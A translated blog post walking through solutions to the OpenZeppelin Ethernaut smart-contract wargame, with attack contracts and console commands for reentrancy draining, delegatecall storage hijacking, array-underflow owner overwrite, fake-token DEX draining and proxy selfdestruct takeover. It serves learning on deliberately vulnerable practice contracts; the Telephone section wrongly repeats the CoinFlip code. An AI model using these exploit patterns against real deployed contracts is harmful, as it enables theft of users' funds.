WEB3DEV

Cover image for OpenZeppelin Ethernaut - Um ótimo recurso de aprendizado para segurança EVM
Isabela Curado Nehme
Isabela Curado Nehme

Posted on

OpenZeppelin Ethernaut - Um ótimo recurso de aprendizado para segurança EVM

3 de Dezembro de 2022

O Ethernaut do OpenZeppelin é um ótimo recurso de aprendizagem para o aluno EVM (Ethereum Virtual Machine ou máquina virtual da Ethereum) para obter um pouco do conhecimento crucial - layout de armazenamento, chamada delegada, autodestruição e mais. Aprenda sobre as funcionalidades e, ainda mais importante, as armadilhas de risco potencial na segurança. Vou compartilhar minha experiência e as dicas para quebrar os níveis.

Links úteis (ferramentas)

Níveis

Hello Ethernaut (Olá, Ethernaut)
  • Este exercício é trivial. Basta seguir a informação(), pegar a senha e chamar a autenticação().
Fallback (Queda)
  • Chame contribute() com um pequeno valor.
  • Envie um pequeno valor para o contrato e o owner será alterado (gatilho receive()).
  • Chame withdraw() para obter todo o valor.
  • Queda: existe um erro de digitação no método Fal1out(). Basta chamá-lo e você pode obter o proprietário.
CoinFlip (Cara ou coroa)
  • O contrato usa o valor do bloco para determinar o resultado do cara ou coroa.
  • Crie outro contrato para acionar o palpite. Dentro da mesma transação, podemos obter o mesmo valor de bloco exato que do método de verificação, para que sempre possamos pré-computar a resposta correta.
  • Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SuperGuess {
 address public coinFlipAddr;
 uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

 constructor(address _coinFlipAddr) {
   coinFlipAddr = _coinFlipAddr;
 }

 function superGuess() public {
   uint256 blockValue = uint256(blockhash(block.number - 1));

   uint256 coinFlip = blockValue / FACTOR;
   bool side = coinFlip == 1 ? true : false;

   CoinFlip(coinFlipAddr).flip(side);
 }
}
Telephone (Telefone)
  • A chave é compreender o tx.origin e o msg.sender.
  • Crie outro contrato para chamar o contrato Telephone, o tx.origin seria seu endereço EOA (Externally Owned Accounts ou contas de propriedade externa) e o msg.sender seria o contrato de chamada. Assim, o proprietário pode ser alterado.
  • Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SuperGuess {
 address public coinFlipAddr;
 uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

 constructor(address _coinFlipAddr) {
   coinFlipAddr = _coinFlipAddr;
 }

 function superGuess() public {
   uint256 blockValue = uint256(blockhash(block.number - 1));

   uint256 coinFlip = blockValue / FACTOR;
   bool side = coinFlip == 1 ? true : false;

   CoinFlip(coinFlipAddr).flip(side);
 }
}
Token
  • Usando o conceito de underflow. Transferir 21 tokens para outro endereço. E seu saldo seria 20-21 e entraria em underflow, tornando-se 2**256-1.
Delegation (Delegação)
  • Na chamada delegada, a lógica é emprestada do contrato chamado (Delegate) enquanto o armazenamento do contrato chamador. (Delegation) é referido. Então, só precisamos acionar o fallback() com o [msg.data](<http://msg.data>) como pwn e o proprietário será alterado.
  • Para acionar a transação, codifique pwn em hexadecimal (dd365b8b) e envie os dados para o endereço do contrato.
Force (Força)
  • Precisamos enviar Ether para um endereço de contrato sem um método de pagamento. Existem duas abordagens.
  • Primeiro, autodestruição. Outro contrato se destrói (usando a funcionalidade selfdestruct) e envia seu Ether remanescente para o seu contrato.
  • Segundo, envie Ether para o contrato antes do contrato existir. Use CREATE2 para pré-computar o endereço antes que o contrato esteja realmente implantado.
  • Tomando a primeira abordagem para implantar um novo contrato com um payable e o método selfdestruct. Envie Ether para dentro. Chame o método selfdestruct.
  • Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ForceSend {
   function killMeAndSendEthTo(address force) public {
       selfdestruct(payable(force));
   }

   receive() payable external {}
}
Vault (Cofre)
  • Embora a variável password seja privada, ainda podemos ler a mudança de estado no Etherscan. Captura de tela abaixo.
  • Armazenamento 0 é para bool public locked, enquanto armazenamento 1 é para bytes32 private password. Para que possamos saber a senha definida aqui:

King (Rei)
  • Queremos impedir que a próxima pessoa peça o King de volta. A chave é essa linha: payable(king).transfer(msg.value);, onde o endereço externo pode assumir o controle e negar a transação.
  • A ideia é ter um contrato que sempre reverta ao receber Ether.
  • Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CantReceiveKing {
   function takeKing(address payable king) public payable {
       (bool result, ) = address(king).call{value: msg.value}("");
       require(result, "Call has failed.");
   }

   receive() external payable {
       revert();
   }
}
Re-entrancy (Reentrância)
  • Construa um ataque de reentrância chamando o withdraw novamente na função receive().
  • Não se esqueça de doar ao endereço do contrato de ataque para que possa ter sucesso no withdraw pela primeira vez.
  • Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

contract Renetering {
   address public reentranceAddr;
   constructor(address payable _reentranceAddr) public {
       reentranceAddr = _reentranceAddr;
   }

   receive() external payable {
       Reentrance(payable(reentranceAddr)).withdraw(1000000000000000);
   }

   function withdraw() public {
       payable(msg.sender).transfer(address(this).balance);
   }
}
Elevator (Elevador)
  • O trecho de código é auto-explicativo.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract myBuilding {
   bool top;

   function isLastFloor(uint _floor) external returns (bool) {
       top = !top;
       return !top;
   }

   function callGoto(address elevatorAddr) public {
       Elevator(elevatorAddr).goTo(0);
   }
}
Privacy (Privacidade)
  • Comparamos o layout de armazenamento e a mudança de estado observada no explorador de blocos. Descobrimos o valor real armazenado em data[2]. Pegue os primeiros 16 bytes e essa é a resposta para passar como chave.
  • A partir deste exercício, podemos saber que as variáveis private não são totalmente opacas. Pistas podem ser encontradas para examinar o valor real.
  • Definição de armazenamento do contrato e mudança de estado do contrato para bytes32[3] private data:

GateKeeperOne (Porteiro um)
  • Portão um
    _Chame o contrato de outro contrato para passar pelo portão um

  • Portão dois
    _gasleft() retorna a unidade de gas remanescente no ponto. O melhor jeito de monitorar o gas é usar a ferramenta debug no Remix.
    _Ao chamar enter() com o gas especificado e verificar o valor de retorno através de gasleft(), podemos saber o gas utilizado desde o início de enter até a verificação require no portão dois.
    _Experimente primeiro com a VM (Virtual Machine ou máquina virtual) do Remix para que não tenha custo real de gas. Primeiramente, defina aleatoriamente um número (digamos 50000) e verifique o valor na pilha de computação.
    _Movimente-se no processo de execução com a barra de rolamento fornecida pelo Remix.
    _Atenção ao padrão 0x1fff (8191 em decimal), o número que vem junto com ele é o valor retornado por gasleft(). 0xc250 no trecho abaixo, que é 49744 em decimal. Assim podemos saber que o gas utilizado é 50000 - 49744 = 256.
    _Para ter gasleft() % 8191 == 0, basta definir o gas inicial como 256 + 8191*5 = 49402.
    _Trecho da ferramenta de debug do Remix:

  • Portão três
    _bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF pode passar a transformação de tipo no portão três.
    _Entender o conceito de Endianness em Solidity é essencial para compreender como os tipos de dados são convertidos e como utilizar os comandos require.
    _Formato Big-Endian (da esquerda para a direita): strings e bytes
    _Formato Little-Endian (da direita para a esquerda): outros tipos (números, endereços, etc…)

  • Trecho do código de contrato

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GateBreakerOne {
   address gateKeeperAddr;
   constructor(address _gateKeeperAddr) {
       gateKeeperAddr = _gateKeeperAddr;
   }

   function breakIn(uint gasAmount) public {
       bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
       GatekeeperOne(gateKeeperAddr).enter{gas: gasAmount}(gateKey);
   }
}
Enter fullscreen mode Exit fullscreen mode
GateKeeperTwo (Porteiro dois)
  • Portão dois
    _extcodesize verifica o tamanho do bytecode (código em byte) do endereço do contrato. Ele retornará 0 se o endereço de chamada for realmente EOA ou estiver no construtor.

  • Portão três
    _Use a lógica no trecho para passar na verificação

  • Trecho do código do contrato:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GateTwoBreaker {
   constructor (address _gate) {
       bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
       GatekeeperTwo(_gate).enter(gateKey);
   }
}
Naught Coin (Moeda zero)
  • Apenas approve outro endereço com o valor total e chama transferFrom (não transfer) com esse endereço.
Preservation (Preservação)
  • A chave aqui é entender que delegatecall pega emprestada a lógica do contrato chamado. Na lógica emprestada, também implica como as variáveis serão alteradas. Segue o layout do contrato chamado.
  • Observe que em LibraryContract, a função muda o armazenamento no slot 1 (storedTime). No contrato Preservation, que faz a delegateCall, slot 1 será alterado, que é timeZone1Library.
  • Assim, podemos usar isso e direcionar para timeZone1Library outro endereço de contrato, que é o BadLibrary que construímos. Em BadLibrary, definimos a mesma assinatura de função "setTime(uint256)", mas atualizamos o armazenamento no slot 3 - onde owner reside no contrato Preservation.
  • Trecho do código do contrato de ataque:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract BadLibrary {
   uint public a1;
   uint public a2;
   uint public owner;

   function setTime(uint newOwner) public {
       owner = newOwner;
 }
}
  • etapas do ataque
  1. implantar BadLibrary
  2. chamar setFirstTime(BadLibray_address)
  3. chamar setFirstTime(player_address)
Recovery (Recuperação)
MagicNumber (Número mágico)
Alien Codex
  • O pré-requisito para solucionar este nível é o conhecimento de layout de armazenamento para bytes e matrizes: Layout of State Variables in Storage (Layout de variáveis de estado em armazenamento).

  • As ideias são as seguintes:
    _O contrato herdado Ownable tem a variável ownere está armazenada no slot 0. Precisamos encontrar uma maneira de alterar o valor nesse slot usando os métodos no AlienCodex.
    _A variável também bool contact estará no slot 0 (endereço 20 bytes e bool 1 bit < 32 bytes limites para 1 slot).
    _bytes32[] public codex começa do slot 1, no qual armazena o tamanho da matriz (inicialmente 0).
    _Ao chamar retract, podemos fazê-lo entrar em underflow e torne o tamanho da matriz 2**256 - 1.
    _O primeiro elemento da matriz é armazenado no slot keccak256(1) (1 em hexadecimal e pad start (início do preenchimento) para o tamanho de 32-bytes). Isso resultará em um grande número aleatório.
    _Já que a matriz é tão longa quanto 2**256 -1, o elemento da matriz vai overflow quando alcançar o último slot. E o próximo slot desta seria o slot onde owner está armazenado.
    _Usando revise, podemos mudar o valor do slot e, consequentemente, atualizar o owner para nosso valor desejado.

  • Trecho da solução:

// comandos para chamar no console do navegador

// para passar o modificador 
await contract.make_contact();

// para underflow o tamanho da matriz
await contract.retract();

// computa o slot para o primeiro elemento da matriz
const slot1Byte32 = '0x' + '1'.padStart(64, '0');
const slotFor1stElement = _ethers.utils.keccak256(slot1Byte32); // "0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6"

// computa o índice da matriz para substituir o slot 0
const maxInt = _ethers.BigNumber.from('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff');
const slotFor1stElementBN = _ethers.BigNumber.from(slotFor1stElement);
const arrayIndexForOverflowedSlot0 = (maxInt.sub(slotFor1stElementBN) + 1);

// define o endereço do proprietário (precisa preencher seu endereço para um tamanho de 32 bytes)
await contract.revise(arrayIndexForOverflowedSlot0, YOUR_ADDRESS_PADDED_TO_BYTES32_LENGTH);
Denial (Negação)
  • Este nível utiliza o ataque de reentrância e usa o gas.
  • Implanta um contrato que chama recursivamente o método withdraw na instância do nível e define o endereço do parceiro para que ele possa resolver esse nível.
  • Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DenialPartner {
   address payable public denialAddr;

   constructor(address payable _denialAddr) {
       denialAddr = _denialAddr;
   }

   receive() external payable {
       Denial(denialAddr).withdraw();
   }
}
Shop (Comprar)
  • A chave é que a função view pode ler a partir do estado. Observe a alteração de estado no isSold. Podemos controlar o price retornado condicionado a este valor.
  • Trecho do código do contrato:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Buyer {
   function price() external view returns (uint) {
       return Shop(msg.sender).isSold() ? 0 : 100;
   }

   function buyFromShop(address shopAddr) public {
       Shop(shopAddr).buy();
   }
}
Dex (Exchange descentralizada)
  • Existe falha no cálculo do preço. Apenas continue permutando o token pelo outro e você pode obter mais e mais tokens, finalmente drenando o pool completamente.
  • O processo é como se segue. Lembre-se de aprovar o contrato primeiro.

Dex2 (Exchange descentralizada 2)
  • A diferença da DEX anterior é que ela não verifica o endereço do token 1 e do token 2 no método swap aqui.
  • A ideia aqui é implantar outros dois contratos ERC20 falsos e enganar o método swap.

Etapas da solução:

  • Implante um novo contrato ERC20 com fornecimento total 2. O token irá para o implantador (que é você).
  • Transfira 1 token para o contrato de DEX, 1 fica para você.
  • Aprove o contrato de DEX para este token ERC20.
  • Chame swap com from como o endereço do token falso, to como o endereço do token 1 real, amount como 1.
  • Observe que getSwapAmount retornaria 100, e você pode permutar 1 token falso por todos os tokens 1.
  • Repita o processo para o token 2.
Puzzle Wallet (Carteira Puzzle)
  • A chave é entender que delegateCall aplica a lógica no layout do armazenamento do chamador.
  • O objetivo final é alterar o admin, então apenas precisamos atualizar maxBalance na função de chamada (mesmo slot).
  • setMaxBalance seria o que pretendemos chamar. Dois requisitos, um é a whitelist e o outro é que precisamos que o saldo do contrato seja 0.
  • Para a whitelist, observe que apenas o owner pode addToWhitelist. Lembre-se de que o proprietário aqui está realmente se referindo ao valor pendingAdmin. Para que possamos apenas chamar proposeNewAdmin e tornar o valor no slot 0 o nosso endereço. Então, podemos chamar addToWhitelist para adicionar a nós mesmos à whitelist.
  • O segundo requisito é levemente complicado, precisamos drenar o saldo do contrato. O único lugar em que foi transferido está dentro do execute. Leia a lógica, precisamos encontrar uma maneira de fazer nosso saldo no contrato ser maior do que depositamos.
  • A chave aqui é utilizar o método multicall para acionar o deposit duas vezes. msg.value será adicionado duas vezes onde, na verdade, apenas 1 unidade de valor de Ether é pago (0.001 Ether nesse exemplo).Porém, precisamos desviar a verificação depositCalled na multicall. O truque é usar uma chamada aninhada para empacotar uma multicall de depósito dentro de outra multicall. Desta forma: multicall(deposit, multicall(deposit)), junto com 0.001 Ether. Depois disso, o saldo do contrato seria 0.

Etapas da solução:

  • proposeNewAdmin com nosso próprio endereço para definir o valor do slot 0.
  • delegateCall addToWhitelist com nosso próprio endereço (use o codificador ABI ou as ferramentas de codificação em web 3 e Ethers).
  • delegateCall multicall(deposit, multicall(deposit)) (codificação aplicada) para drenar o saldo do contrato para 0.
  • delegateCall setMaxBalance com nosso próprio endereço para definir o valor do slot 1 (que é o endereço do admin).
Motorbike (Moto)
  • A ideia é definir a implementação do Engine para um contrato ruim com selfdestruct e desativar totalmente o contrato Engine.

Etapas da solução:

  • Obtenha o endereço do contrato Engine do Etherscan ou usando getStorageAtcom o slot de implementação.
  • Chame initialize() para nos tornar o upgrader.
  • Implante um contrato com selfdestruct, trecho abaixo.
contract Selfdestructor {
   function killMe() public {
       selfdestruct(msg.sender);
   }
}
Enter fullscreen mode Exit fullscreen mode
  • Chame upgradeToAndCall com o endereço do contrato implantado e a codificação para a chamada selfdestruct.

Fechamento

Obrigado por ler! Espero que você aprenda algo como eu aprendo!

Esse artigo foi escrito por Hung e traduzido por Isabela Curado Nehme. Seu original pode ser lido aqui.

Top comments (0)